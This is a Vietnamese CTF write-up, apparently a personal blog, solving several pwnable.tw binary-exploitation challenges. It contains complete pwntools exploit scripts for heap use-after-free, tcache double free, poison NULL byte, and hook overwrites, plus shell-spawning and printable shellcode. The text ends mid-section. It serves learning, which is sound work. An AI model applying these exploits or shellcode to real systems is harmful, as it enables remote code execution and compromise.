{%hackmd @themes/dracula %}
# (writeup) PWNABLE.TW p1
- https://pwnable.tw/challenge/
## hacknote [200 pts]
- description:
A good Hacker should always take good notes!
``nc chall.pwnable.tw 10102``
[hacknote](https://pwnable.tw/static/chall/hacknote)
[libc.so](https://pwnable.tw/static/libc/libc_32.so.6)
- check file + checksec

- check ida (vì file bị stripped nên hình dưới đây có chỉnh sửa tên hàm cho dễ nhìn)

>**main()**

>tạo struct để ida trông dễ khai thác hơn

>**add()**
>storaged là biến đếm
>chunk là mảng(struct)
>chunk[i]->write là hàm **output()**

>**output()**
>in ra vị trí edi+4 (edi là đầu vào)

>**delete()**

>**show()**
>thực thi hàm **output()**
### analyse
- phân tích:
- mỗi note là một struct gồm 2 thành phần:
- note.write: con trỏ trỏ tới hàm output(), có chức năng in nội dung trong note.data
- note.data: chứa nội dung của note
- mỗi khi 1 note mới được tạo sẽ có 2 malloc() được gọi:
- chunk[i] = malloc(8)
- chunk[i]->data = malloc(size)
- mỗi khi xóa 1 note, có 2 câu lệnh free() được gọi:
- free(chunk[i]->data)
- free(chunk[i])
- for example: tạo 2 chunk size 32 data là 'abcd' và 'efgh'

>chunk 0: chunk[0] 8 byte đầu là metadata
>0x0804862b là địa chỉ hàm output() (highlight vàng)
>0x0804b018 là địa chỉ note.data là ngay hightlight lam
> ``------``
> chunk 1: chunk[0] 0x804b010 (bao gồm metadata); note.data là highlight lam 'abcd'
>chunk 2: chunk[1] 0x804b038 (bao gồm metadata); tương tự chunk 0
>chunk 3: chunk[1] 0x804b048 (bao gồm metadata); note.data là hightlight lục 'efgh'
- next: xoá 2 chunk trên, kiểm tra fastbins (vì file libc đề cho k có tcache)

> có thể thấy nếu ta add note 1 lần nữa với size 8 ---> chunk size 0x10 sẽ có thể sử dụng lại chunk
> ----> kỹ thuật UAF
> reused 0x804b040 để gán chunk[2]
> reused 0x804b008 để gán chunk[2]->data

>add note size 8 content 'aaaa\n'
>---> hoàn toàn control dc địa chỉ output() với note.data
### exploit
- hướng đi: tạo shell từ libc
- ta cần leak libc trước
- vì có thể control đc địa chỉ **output()** và note.data nên sẽ dùng func **show()** để thực thi **output()** in ra thay vì in content sẽ in GOT của ``puts`` (trong **output()** có ``puts@plt``)

- có libc sẽ tiếp tục lấy shell
- thay vì thực thi **output()** thì ta sẽ thực thi **system()** với arg là /bin/sh
- nhưng vì file 32 bit nên truyền '/bin/sh\0' bất khả thi nên ta truyền 'sh' nhưng để đủ 4 byte thì truyền '||sh'
> vì sao lại '||sh' thì có thể coi wu bài [cmd_center](https://hackmd.io/@trhoanglan04/HyieDY4l2#cmd_center)
- gọi **show()** lên là có shell

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./hacknote_patched', checksec=False)
libc = ELF('./libc_32.so.6',checksec=False)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*0x08048789
b*0x08048863
b*0x08048879
b*0x08048884
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('chall.pwnable.tw', 10102)
else:
p = process(exe.path)
#GDB()
def add(size,content):
sla(b'choice :', b'1')
sla(b'size :', str(size))
sa(b'Content :',content)
def delete(idx):
sla(b'choice :', b'2')
sla(b'Index :',str(idx))
def show(idx):
sla(b'choice :', b'3')
sla(b'Index :',str(idx))
add(32,b'aaaa') #idx=0
add(32,b'bbbb') #idx=1
delete(0)
delete(1)
payload = p32(0x0804862b) + p32(exe.got['puts'])
add(8,payload) #idx=2
show(0)
#p.recvuntil(b'Success')
libc_leak = u32(p.recv(4))
libc.address = libc_leak - libc.sym['puts']
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
delete(2)
payload = p32(libc.sym['system']) + b'||sh'
add(8,payload)
show(0)
p.interactive()
#FLAG{Us3_aft3r_fl3333_in_h4ck_not3}
```
> FLAG{Us3_aft3r_fl3333_in_h4ck_not3}
---
## orw [100 pts]
- description:
Read the flag from ``/home/orw/flag``.
Only ``open`` ``read`` ``write`` syscall are allowed to use.
``nc chall.pwnable.tw 10001``
[orw](https://pwnable.tw/static/chall/orw)
- check file + checksec

- check ida

>**main()**

>**orw_seccomp()**
- check seccomp

- từ tiêu đề và seccomp cho thấy, shellcode ta truyền vào chỉ giới hạn lại quyền ``open`` ``read`` và ``write``
- dùng tool shellcraft cho tiện =)))
> tham khảo wu bài [shell_basic](https://hackmd.io/@trhoanglan04/HyieDY4l2#shell-basic)

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./orw', checksec=False)
context.arch = "i386"
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('chall.pwnable.tw', 10001)
else:
p = process(exe.path)
io = b'/home/orw/flag'
shellcode = shellcraft.open(io)
shellcode += shellcraft.read('eax','esp',0x80)
shellcode += shellcraft.write(1,'esp', 0x80)
payload = asm(shellcode)
sa(b'shellcode:',payload)
p.interactive()
#FLAG{sh3llc0ding_w1th_op3n_r34d_writ3}
```
>FLAG{sh3llc0ding_w1th_op3n_r34d_writ3}
---
## Tcache Tear [200 pts]
- description
Make tcache great again !
``nc chall.pwnable.tw 10207``
[tcache_tear](https://pwnable.tw/static/chall/tcache_tear)
[libc.so](https://pwnable.tw/static/libc/libc-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so)
- check file + checksec

- check ida (stripped nên renamed lại)

> **main()**
> v4 = 0, maximum được free(ptr) là <=7

> **add()**
> giới hạn lại size < 0xff

> **show()**
### analyse
- điểm qua những địa chỉ cần lưu ý

> 0x602060 ở lần nhập đầu cho biến name

> 0x602088 là biến ptr cho hàm **free()**
- ở option2 là ``free(ptr)`` có thể đoán được là lỗi DBF
- thử malloc 1 chunk và double free:

> loop detected
- tiếp tục malloc 1 chunk với size như cũ

> malloc cùng size nhưng data truyền vào là b'bbbbb' ---> thay đổi fw thành 0x62626262
> ===> control được fw chunk hiện tại

> ví dụ thử truyền thành địa chỉ biến name_addr
- vậy nếu ta tiếp tục malloc 1 chunk cùng size như trên thì tcache_bin sẽ xem địa chỉ mình control được ở trên lấy cho chunk mới
**==> summary : ghi đè system vào free_hook, call free lấy shell**
### way1 : create fake chunk
- cách này sẽ tận dụng lỗi ``tcache_entry``
- ta sẽ leak libc nhờ vào ubin (unsorted_bin)
- nếu vậy ta cần free 1 chunk có size lớn hơn 0x410
- nhưng khó là trong ida bị giới hạn chọn size là < 0xff

- vậy ta phải lựa 1 heap nào có thể ghi đè size thành 0x450 chẳng hạn
- ta thấy địa chỉ của ``name_addr`` ở lần nhập đầu có quyền rw_section
- ta sẽ dựa vào bug phía trên, ghi thử nội dung ntn
`` add(b'aaaa') --> delete ---> delete ---> add(name_addr) ``
- vậy ta cần sẽ free con trỏ ``name_addr`` (cần set size trước khi free)
> đặc biệt là khi free, sẽ lấy con trỏ 0x602088
> nhưng biến name_addr lại là 0x602060
> idea : sửa con trỏ của free thành name_addr
- test:
```python
add(128,b'a'*32)
delete()
delete()
add(128,p64(name_addr-0x10)) #0x602050
add(128,p64(name_addr-0x10))
payload = p64(0) + p64(0x451) #presize size #size
payload += p64(0xdeadbeef) + p64(0) #0x602060 -->name_addr
payload += p64(0) + p64(0) #0x602070
payload += p64(0) + p64(name_addr) #0x602080 #0x602088 --> ptr
add(128,payload)
delete()
```
>sau khi add delete delete rồi add lần nữa thì trong tcache còn bin chưa reused nên add một lần nữa để lần add cho payload sau sẽ k reused bin còn lại
>**nôm na ntn**: add delete delete ---> tcache có 2 bins bị loop
>phải add thêm 2 lần để used hết 2 bins đó
>rồi add cho payload rồi free cho k bị resued bin cũ

- lúc này ta sẽ bị 1 lỗi khá nhức đầu ở đây
- anh chino_kafuu hướng dẫn 😆: [link](https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c)

>hiêu là sẽ kiểm tra nextchunk có size dc set là INUSE hay không



>nextchunk được tính là con trỏ vùng nhớ + size
- ohlala
- vậy lỗi chúng ta là cần chỉnh size của ``name_addr + 0x450 - 0x8``
- nhưng cần làm sao?
- z phải tạo 2 chunk
- 1 fakechunk ở ``name_addr+0x450``
- 1 chunk cho ``name_addr``
- test:
```python
add(128+16,b'a'*32)
delete()
delete()
add(128+16, p64(name_addr + 0x450 - 0x10))
add(128+16, p64(name_addr + 0x450 - 0x10))
payload = p64(0) + p64(0x21) #presize size #size ---> metadata = 0x10
payload += p64(0) + p64(0) #content 0x10 ---> size chunk = 0x10 + 0x10 + 0x1 = 0x21
payload += p64(0) + p64(0x41) #presize #size
add(128+16,payload)
#delete()
```
> tạo fakechunk thì tạo size nho nhỏ thui
> không cần free, vì mình tạo fakechunk mà
> vì là fakechunk nên mình chọn size khác với size hiện tại (128+16)
> và cần lưu ý là set cho cả size phía sau
> (k quan trọng size bao nhiu, miễn có bit 0x1 đánh dấu)
> nếu k sẽ bị lỗi sau

- ổn rồi thì ta sẽ tạo được 1 cái ubin

- và nếu ta chọn option **show()** thì nó sẽ in ra thông tin biến ``name_addr`` của mình (là **main_arena**)


- leak libc xong, việc mình bây giờ là ghi đè **free_hook** thành **system** bằng cách
```python
add(b'aaaa') -> delete -> delete -> add(libc.sym['__free_hook'] -> add(libc.sym['__free_hook']) -> add(libc.sym['system'])
```

> offset = 0x3ebca0
- last but not least, thêm chuỗi '/bin/sh' bằng cách **add** 1 lãn nữa, lúc này '/bin/sh' sẽ trỏ ở $rdi nên **delete** one more time will gain shell

- remote:

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./tcache_tear_patched', checksec=False)
libc = ELF('./libc-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so',checksec=False)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*0x400C54
b*0x400C59
b*0x400B54
b*0x400B59
b*0x400b90
b*0x400BA9
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('chall.pwnable.tw', 10207)
else:
p = process(exe.path)
GDB()
name_addr = 0x602060
ptr = 0x602088
def add(size, data):
sa(b'choice :',b'1')
sa(b'Size:',str(size))
sa(b'Data:',data)
def show():
sa(b'choice :',b'3')
def delete():
sa(b'choice :',b'2')
sa(b'Name:',b'hlaan')
add(128+16,b'a'*32)
delete()
delete()
add(128+16, p64(name_addr + 0x450 - 0x10))
add(128+16, p64(name_addr + 0x450 - 0x10))
payload = p64(0) + p64(0x21) #presize size #size
payload += p64(0) + p64(0) #content
payload += p64(0) + p64(0x41) #presize #size
add(128+16,payload)
#delete()
add(128,b'a'*32)
delete()
delete()
add(128,p64(name_addr-0x10)) #0x602050
add(128,p64(name_addr-0x10))
payload = p64(0) + p64(0x451) #presize size #size
payload += p64(0xdeadbeef) + p64(0) #0x602060 -->name_addr
payload += p64(0) + p64(0) #0x602070
payload += p64(0) + p64(name_addr) #0x602080 #0x602088 --> ptr
add(128,payload)
delete()
show()
p.recvuntil(b'Name :')
libc_leak = u64(p.recv(8))
libc.address = libc_leak - 0x3ebca0
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
add(128-16,b'a'*32)
delete()
delete()
add(128-16,p64(libc.sym['__free_hook']))
add(128-16,p64(libc.sym['__free_hook']))
payload = p64(libc.sym['system'])
add(128-16,payload)
add(128-16,b'/bin/sh\0')
delete()
p.interactive()
#FLAG{tc4ch3_1s_34sy_f0r_y0u}
```
>FLAG{tc4ch3_1s_34sy_f0r_y0u}
### way2 : attack tcache_perthread_struct
- cách này sẽ tận dụng cơ chế ``tcache_perthread_struct``
- ``tcache_perthread_struct`` về căn bản là tcache
- cấu trúc nó sẽ gồm 2 phần:
- phần counts : bộ đếm
- phần entries : địa chỉ các chunks
- [tìm hiểu thêm](https://hackmd.io/@trhoanglan04/SkrdeRm9n#tcache-Data-Structure)
- ta sẽ brute 2 bytes ngẫu nhiên khi chạy động (2 bytes trong địa chỉ heap)
- nhưng trước mắt ta cứ ``NOASLR`` để dễ DEBUG

> sau khi **delete()** 2 lần
- ở hướng khai thác lần này, sẽ đổi tool từ gef sang pwndbg cho thuận tiện =)))))))))
- lần **add()** tiếp theo sẽ sửa chunk tại địa chỉ 0x603260
- ta sẽ giả sử sửa lên chunk 0x603200 đi, thì payload là b'\0' (sửa 1 bytes)
- sau đó **add()** tiếp theo ta cũng giả sử là **name_addr** đi

- tức là lần **add()** tiếp theo nữa ta sẽ sửa nội dung trong chunk 0x603200 ---> ow các entries của ``tcache_perthread_struct``
```
ta cần cũng 3 chunks:
- 1 chunk là name_addr (ow ptr thành name_addr)
- 1 chunk là next_chunk của name_addr
- 1 chunk là next_next_chunk của next_chunk =)))
===> cũng như way1 tạo fake_chunk
nhưng ở lần này ta tạo 1 lèo từ tcache_perthread_struct
```
- vậy ta tạo như sau:
```python
payload = p64(name_addr-0x10) + p64(0) #lui 0x10 để chỉnh size thành 0x451
payload += p64(name_addr+0x450-0x10) + p64(0) #lui 0x10 để set bit INUSE
payload += p64(name_addr+0x450+0x20) + p64(0) #để cho chunk hiện hữu trên entries (maybe :v)
```

- nhưng cái khó là muốn **malloc** ra từ những chunks đó là điều không thể (chall cho phép size < 0xff, trong khi cần đến hơn 0x300)
- thế ta chỉnh xuống entry nhỏ nhiều xíu

> lấy 0x6030a0 (do 0x603090 là nơi ở lúc trigger DBF ngay đó rồi, né nó ra thui :v )

> lúc này size nhỏ lại rồi nè
- vậy ta cần setup trước **next_chunk** bằng cách **add(0xd0)**, size ``0xd0 + 0x10 = 0xe0`` --> moi 0x6024a0 ra
- sau đó setup **name_addr** bằng cách **add(0xb0)** , size ``0xb0 + 0x10 = 0xc0`` --> moi ``name_addr - 0x10`` ra
:::spoiler tại sao lại setup next_chunk trước ?
- khó tin thì cứ thử setup name_addr trước rồi next_chunk sau đi
- **delete()** nó lại lấy **ptr** là 0x6024a0 là địa chỉ ``next_chunk-0x10``

- cái này cũng đíu hiểu tại sao 🥲
- nhưng setup next_chunk trước thì lại được 🙃
> ai biết ib giải thích nha =)))))
:::
- sau đó **delete()** là **free(name_addr)** rồi
- **show()** để leak libc
- và phần còn lại là ``__free_hook`` với ``system`` và ``/bin/sh\0`` thôi (tương tự way1)
- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./tcache_tear_patched', checksec=False)
libc = ELF('./libc-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so',checksec=False)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*0x400C54
b*0x400C59
b*0x400B54
b*0x400B59
b*0x400b90
b*0x400BA9
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
name_addr = 0x602060
ptr = 0x602088
def add(size, data):
sa(b'choice :',b'1')
sa(b'Size:',str(size))
sa(b'Data:',data)
def show():
sa(b'choice :',b'3')
def delete():
sa(b'choice :',b'2')
while True:
try:
if args.REMOTE:
p = remote('chall.pwnable.tw', 10207)
else:
p = process(exe.path)
# GDB()
sa(b'Name:',b'hlaan')
add(0x90,b'aaaa')
delete()
delete()
add(0x90,b'\xa0\x30')
add(0x90,p64(name_addr))
payload = p64(name_addr-0x10) + p64(0)
payload += p64(name_addr+0x450-0x10) + p64(0)
payload += p64(name_addr+0x450+0x20) + p64(0)
add(0x90,payload)
payload = p64(0) + p64(0x21)
payload += p64(0) + p64(0)
payload += p64(0) + p64(0x41)
add(0xd0,payload)
payload = p64(0) + p64(0x451)
payload += p64(0xdeadbeef) + p64(0)
payload += p64(0xdeadbeef) + p64(0)
payload += p64(0xdeadbeef) + p64(name_addr)
add(0xb0,payload)
delete()
show()
p.recvuntil(b'Name :')
libc_leak = u64(p.recv(8))
libc.address = libc_leak - 0x3ebca0
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
add(0x70,b'a'*8)
delete()
delete()
add(0x70,p64(libc.sym['__free_hook']))
add(0x70,p64(libc.sym['__free_hook']))
payload = p64(libc.sym['system'])
add(0x70,payload)
add(0x70,b'/bin/sh\0')
delete()
p.interactive()
except EOFError:
p.close()
#FLAG{tc4ch3_1s_34sy_f0r_y0u}
```
>FLAG{tc4ch3_1s_34sy_f0r_y0u}
---
## Start [100 pts]
- description:
Just a start.
Don't know how to start?
Check [GEF 101 - Solving pwnable.tw/start](https://www.youtube.com/watch?v=KWG7prhH-ks) by [@_hugsy](https://twitter.com/_hugsy_)
``nc chall.pwnable.tw 10000``
[start](https://pwnable.tw/static/chall/start)
- check file + checksec

- check ida

- từ ida ta thấy gọi syscall ``read`` lên (thanh ghi ax = 3) với size là 0x3c
- kết thúc syscall read tiếp tục ``add esp,0x14`` rồi mới ret

>lỗi BOF
- vậy ta cần phải ret về đâu? (có luôn ``No PIE``)
- vì ``NX disabled`` nên ta sẽ chèn shellcode
- muốn stack thực thi shellcode thì ngay bước ret ta phải ret stack
- vậy ta cần leak stack bằng cách tận dụng hàm sys_write, ret về 0x08048087

>lấy esp đưa vào ecx
>lượng in ra là 0x14

>de, đúng như dự đoán là in ra 5 dòng địa chỉ này
>vậy ta cần tính offset stack trỏ về shellcode mình thôi là được
> [shellcode](http://shell-storm.org/shellcode/files/shellcode-827.html) lụm trên mạng

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./start',checksec=False)
#p = process(exe.path)
p = remote('chall.pwnable.tw',10000)
# gdb.attach(p,gdbscript='''
# b*0x08048087
# b*0x08048097
# c
# ''')
# input()
payload = b'A'*0x14
payload += p32(0x08048087)
p.sendafter(b'CTF:',payload)
leak = u32(p.recv(4))
log.info("ret: " + hex(leak + 0x14))
payload = b'A'*0x14
payload += p32(leak + 0x14)
payload += b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'
sleep(2)
p.send(payload)
p.interactive()
#FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}
```
>FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}
---
## Death Note [250 pts]
- description:
Write the shellcode on your Death Note.
``nc chall.pwnable.tw 10201``
[death_note](https://pwnable.tw/static/chall/death_note)
- check file + checksec

- check ida

> **main()**

>**show_note()**

>**del_note()**

>**add_note()**
### analyse
- tổng quát ở **add_note()**, **del_note()** và **show_note()** đều có lỗi OOB (truy cập ngoài mảng, idx số âm)
- trong hàm **add_note()** có 1 hàm nhỏ là **is_printable()** mục đích là kiểm tra payload của ta phải là những kỹ tự in được (theo bảng mã ascii)
- và có hàm **strdup()** trả về con trỏ heap chứa payload của mình

- điểm qua địa chỉ đáng nghi:

>note = 0x0804a060
- idea: chèn shellcode vào free_got rồi chọn option **del_note()** để execute shellcode của mình
- nhưng shellcode của ta chắc chắn có byte không in được
---> shellcode custom
- [link](https://defuse.ca/online-x86-assembler.htm#disassembly) hỗ trợ viết shellcode
- ascii check các byte in được

> dấu hiệu là những byte có số đầu từ 0x2_ đến 0x7_ (tránh luôn byte NULL)
- idea về shellcode:
```
cần setup như sau
$eax: 0xb
$ebx: stack ---> '/bin'... '//sh' #hiển thị có 4 byte do file 32 bits
$ecx: 0x0
$edx: 0x0
```
- check thanh ghi:

> có sẵn $edx = 0x0
### writting shellcode
- custom shellcode:
```
### syscall == int 0x80 '/xcd/x80' ---> k thể chèn trực tiếp
tự hô biến cho có byte 0x80cd trên stack bằng phép xor
lấy 1 thanh ghi đang NULL, dec xuống 1 thành 0xffffffff
cần 0xffff80cd nên là suy luận toán xor đơn giản
x là 0x80cd, a là 0xffff
a^b = c ; lấy c^x ra d
---> a^b=c; c^d=x (với c tự chọn, d tính từ phép xor)
### k thể setup thẳng eax thành 0xb bằng lệnh mov hay xor gì đó vì 0xb nằm ngoài ascii
---> idea tăng từ từ eax từ 0x0 lên 0xb bằng lệnh ~inc eax~ có byte 0x40 (thoả)
### '/bin//sh' : để cho chắc 1 stack chỉ trỏ 1 chuỗi '/bin//sh'
---> khiến chuỗi đó kết thúc bằng byte '0x00'
### đưa int 0x80 vào shellcode:
lấy địa chi heap bắt đầu shellcode pop vào 1 nơi khác
rồi xor [$register + offset], di
với $register là địa chỉ mình pop trc đó (địa chỉ bắt đầu thực thi shellcode)
offset là độ dời từ lúc bắt đầu shellcode đến kết thúc lệnh xor trên
di là thanh ghi 16 bits (lấy ví dụ cho edi)
### reset thanh ghi về 0
push 0x30
pop $reg
xor $reg, 0x30
```
- shellcode hoàn chỉnh:
```asm
payload = asm('''
push eax ; lấy con trỏ địa chỉ shellcode push lên stack
pop ebp ; đưa đại vào ebp (k quan trọng thanh ghi ebp)
push edx ; đưa 0 vào stack để cho chuỗi '/bin//sh' kết thúc là NULL byte
push 0x68732f2f ; đưa '//sh' vào stack
push 0x6e69622f ; đưa '/bin' vào stack
push esp ; đưa stack trỏ đến '/bin//sh'
pop ebx ; gán cho ebx là stack trỏ đến '/bin//sh'
push 0x30 ;
pop eax ; set eax = 0
xor al, 0x30 ;
dec eax ; eax xuống 0xffffffff
xor ax, 0x3456 ;
xor ax, 0x4b64 ; lúc này là 0xffff80cd
push eax ; đưa vào stack
pop edi ; đẩy vào edi (do edi k ảnh hưởng đến lấy shell)
push 0x30 ;
pop eax ; set eax = 0
xor al, 0x30 ;
push eax ;
pop ecx ; set ecx = 0
inc eax ;
inc eax ;
inc eax ;
inc eax ;
inc eax ;
inc eax ;
inc eax ;
inc eax ;
inc eax ;
inc eax ;
inc eax ; tăng eax lên 0xb (11 lần)
xor [ebp + 0x35] , di ; lấy 2 byte từ edi là 0x80cd ghi vào địa chỉ tiếp theo của shellcode
''',arch='i386')
```
### setup LOCAL
- setup gdb để chạy shellcode

> dừng sau lệnh **strdup()** để tạo heap
> tính offset của heap
> hoặc set thẳng con trỏ heap được trả về do **strdup()** là địa chỉ stack chứa payload của mình (stack lúc đó có 3 quyền rwx)
```gef
gef➤ call (int)mprotect(heap_base, offset, 7)
-------------------------------------------------
gef➤ set $eax = stack_payload
```

### get flag
- remote:

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./death_note', checksec=False)
context.arch = 'i386'
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*add_note+33
b*add_note+132
#call (int)mprotect(heap_base, 0x22000, 7)
b*del_note+76
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('chall.pwnable.tw', 10201)
else:
p = process(exe.path)
GDB()
def add(idx,data):
sla(b'choice :',b'1')
sla(b'Index :',str(idx))
sla(b'Name :',data)
def show(idx):
sla(b'choice :',b'2')
sla(b'Index :',str(idx))
def delete(idx):
sla(b'choice :',b'3')
sla(b'Index :',str(idx))
note = 0x0804a060
free_got = exe.got['free']
idx = (free_got - note) / 4 #file 32 bits
payload = asm('''
push eax
pop ebp
push edx
push 0x68732f2f
push 0x6e69622f
push esp
pop ebx
push 0x30
pop eax
xor al, 0x30
dec eax
xor ax, 0x3456
xor ax, 0x4b64
push eax
pop edi
push 0x30
pop eax
xor al, 0x30
push eax
pop ecx
inc eax
inc eax
inc eax
inc eax
inc eax
inc eax
inc eax
inc eax
inc eax
inc eax
inc eax
xor [ebp + 0x35] , di
''',arch='i386')
add(idx,payload)
delete(idx)
p.interactive()
#FLAG{sh3llc0d3_is_s0_b34ut1ful}
```
>FLAG{sh3llc0d3_is_s0_b34ut1ful}
---
## Secret Of My Heart [400 pts]
- description:
Find the secret in my heart!
``nc chall.pwnable.tw 10302``
[secret_of_my_heart](https://pwnable.tw/static/chall/secret_of_my_heart)
[libc.so](https://pwnable.tw/static/libc/libc_64.so.6)
- check file + checksec

- check ida (renamed cho dễ hình dung)

> **main()**

> **menu()**

> **index()** (nhập idx vào thôi)

> **add()**

> biến **ptr** là địa chỉ bss
> offset = 0x0000000000202018

> **read_data()** (nhập content vào heap)
> name nhập 0x20 vào vùng nhớ bss (nằm ngoài exe)

> **read_func()** (nhập payload)

> **delete()**

> **free_data()** (free con trỏ **ptr**)

> **show()**

> **hidden()**
> có cả hàm ẩn nằm ngoài **menu()**
> với idx là 4869
> cho phép ta biết địa chỉ biến **ptr**
> đồng thời sẽ **exit(0)**
> có lẽ hàm này sẽ đíu cần tới đâu ◑﹏◐
===> không có system, win ---> leak libc ---> ow hook = system --> get_shell
### analyse
- vì file bị **stripped** cộng với **PIE bật** nên khi debug sẽ thêm tham số ``NOASLR``
```bash
$ ./solve.py DEBUG NOASLR
```
- phân tích kỹ một chút ở phần này


>v2 là size
>qua hàm **read_data()** có đối số là *a1 và a2
>tương ứng $rdi là con trỏ **ptr** và $rdx là v2
>gắn $rdi là con trỏ trỏ đến v2
>sau đó name sẽ nằm từ (a1 + 1) và dài 0x20
>kế đến a1[5] là pointer heap trỏ đến secret
```
gef➤ p/x exe_base + offset_bss_ptr = <addr1>
gef➤ x/xg <addr1> = vùng nhớ khác nằm ngoài exe
gef➤ #tạm gọi nó là <addr2>
```
| gef➤ x/20xg <addr2> | | |
| ------------------- | ---- | ---------|
| <addr2> | size | name |
| <addr2 + 0x10> | name | name |
| <addr2 + 0x20> | name | *secret |
- nếu như ta nhập full cho name thì khi chọn option 2 là **show()** ta sẽ leak đc pointer của heap secret


- nhưng leak dc heap nó vô nghĩa lắm =))))
- idea để leak libc: đưa **main_area** vào bên trong heap để khi **show()** nó sẽ leak dc
- BUG:

> ==> poison NULL byte
### BUG : poison NULL byte
- về kỹ thuật poison NULL byte ta cần đầu độc chunk victim của mình
```python
với libc 2.23 (k có tcache)
tạo chunk a (size nhỏ hơn 0x80) ---> vào fastbin
chunk b (size 0x110) ---> poision thành 0x100
chunk c (size 0x110) ---> sẽ consolidate luôn chunk b
(do là khi free chunk c sẽ xem prev_size của nó để gộp
trong khi prev_size thực tế lại bị dời lên trên do poison NULL byte)
chunk d (barrier) (tránh consolidate với top_chunk)
#####################################################################
free b ---> ubin 0x110
free c ---> ubin and consolidate 0x220
free a ---> fastbin
#####################################################################
remalloc a (size cũ + 8) ---> ow prev_size b và tự thêm NULL ở size b
```
- vậy ở đây ta sẽ fake cái **main_area** lẫn vào trong mấy cái chunk fake
- chunk fake ở đây nghĩa là chương trình sẽ **vẫn giữa nguyên** pointer của thứ tự mấy cái chunk ta tạo ra, nhưng lại bị nhầm lẫn khi ta poison NULL vào, khiến cho những chunk sau cái chunk ta poison cái size sẽ bị rơi vào vùng lưng chừng
> nói trắng ra là làm chương trình bị ngu ngu về bins và chunks =))))
### leak libc (main_area)
```python
add(0x68,b'aaaa',b'aaaa') #idx=0 #a
add(0x100,b'bbbb',b'bbbb') #idx=1 #b
add(0x100,b'eeee',b'eeee') #idx=2 #c
add(0x100,b'cccc',b'cccc') #idx=3 #barier dissappear in chunks
add(0x100,b'dddd',b'dddd') #idx=4 #advoid consolidate with top_chunk #still disappear
delete(1) #free1 #free_b #ubin 0x110
delete(2) #free2 #free_c #ubin consolidate 0x220
delete(0) #free0 #free_a #fastbin
add(0x68,b'BBBB',b'/bin/sh\0'.ljust(0x68,b'b')) #idx=0 #poison_null!!!
#size 0x111 placed idx2 was 4190
#need malloc total 0x100
#devided into 0xb0 0x10 0x10 (include metadata 0x10 * 3)
add(0xb0,b'CCCC',b'CCCC') #idx=1
add(0x10,b'DDDD',b'DDDD') #idx=2
add(0x10,b'EEEE',b'EEEE') #idx=3_fake #4180
add(0x80,b'FFFF',b'FFFF') #idx=5 #just avoid consolidate
delete(1) #free1
delete(3) #free_old_idx3 #free_barrier #ubin consolidate 0x330
# this free will consolidate old_idx_3 42a0 which have prev_size is 0x220
# from now display old_idx_4 in heap_chunk
#next malloc will contain main_area in chunk
add(0xd0,b'GGGG',b'GGGG') #size doesn't matter #idx=6
show(5) #leeking
```
### free_hook + '/bin/sh\0' + system (not worked)
- idea ban đầu sẽ là truyền '/bin/sh\0' vào 1 trong các chunk, ghi **system** vào ``__free_hook`` rồi **delete()** chính cái chunk chứa '/bin/sh\0' sẽ lấy làm $rdi rồi có shell
- nhưng cách này bị lỗi ``incorrect fastbin_index`` khi mà muốn ow fw của bin chứa ``__free_hook`` nhưng ở địa chỉ ``__free_hook - 0x8`` lại không có size phù hợp để cùng chứa chung 1 fastbin

- khi đó nếu **add()** 1 lần nữa với size kia thì sẽ bị lỗi
``malloc(): memory corruption (fast): <addr>``

### malloc_hook + one_gadget
- sau khi leak libc, sẽ **delete(2)** rồi **add()** 1 lãn nữa các chunk giống như cách leak libc
```python
p.recvuntil(b'Secret : ')
libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - 0x3c3b78
info('libc leak: ' + hex(libc_leak))
info('libc base: ' + hex(libc.address))
delete(2) #free2
malloc_hook = libc.sym['__malloc_hook']
fake_chunk = malloc_hook - 0x10
add(0x40,b'aaaa',p64(fake_chunk)) #idx=2 #0 #4160
add(0xf0,b'bbbb',b'bbbb') #idx=3 #1 #41b0
add(0xf0,b'cccc',b'cccc') #idx=4 #2 #42b0
add(0x60,b'cccc',b'cccc') #idx=4 #2 #43b0
```
> để tạm fake_chunk là ``__malloc_hook`` - 0x10
- tiếp tục poison NULL byte
```python
